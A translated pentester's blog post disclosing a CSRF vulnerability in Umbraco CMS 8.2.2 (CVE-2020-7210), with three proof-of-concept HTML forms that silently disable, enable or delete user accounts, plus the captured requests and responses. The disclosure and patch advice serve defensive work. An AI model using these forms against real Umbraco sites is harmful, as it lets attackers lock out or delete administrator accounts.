CSRF at Umbraco CMS

Cross-site request forgery can be used to make arbitrary web requests to the Umbraco CMS content management system and identify its users without their knowledge. Such an attack always requires interaction with the user, but, as a rule, the victim just needs to follow a specially prepared link or visit a web page that is under the control of the attacker. This makes it possible to activate, deactivate or completely delete user accounts. As a result, there is a threat of DoS attacks on accounts.



Background


During the testing of a small resource penetration it was discovered CSRF -uyazvimost in fresh at the time Umbraco CMS. This vulnerability allowed to activate, deactivate, or completely delete user accounts, including those with administrative privileges.

Despite the fact that in the latest OWASP Top Ten 2017 report, CSRF vulnerabilities left the list of the 10 most critical, it is too early to discount them.

The vulnerability was tested on version 8.2.2; in version 8.5, it has already been fixed, but it is possible that other versions prior to it remain vulnerable. Users of this product are strongly encouraged to immediately upgrade to the latest available version.

Proof of concept


In the event of a real attack, the following HTML document will be placed on a malicious website controlled by an attacker.

Example 1: HTML to disable a user


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

A request that is sent to the server on behalf of the victim:

POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

The response received from the server:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}

Example 2: HTML to enable a user


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Inquiry:

POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Answer:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}

Example 3: HTML to delete a user


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Inquiry:

POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Answer:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}


The victim receives a response from the server in JSON format (clickable screen).

As soon as an authenticated victim (administrator) visits a website with embedded malicious HTML, active malicious content begins to execute in the context of the victim's session. Although the answers to these requests are not delivered to the attacker, in many cases it will be enough for him to jeopardize the integrity of the victim’s information stored on the site, or to execute potentially compromising requests to other sites.

Instead of a conclusion


Although more and more attacks have recently gone to Server-Side from Client-Side, they still need to be given due attention. After talking with the client, we quickly contacted the software product vendor and received information about the correction. The vulnerability was assigned the CVE-2020-7210 index. I admit, for me as a pentester, this is the first vulnerability to receive the CVE index.

Source: https://habr.com/ru/post/undefined/


All Articles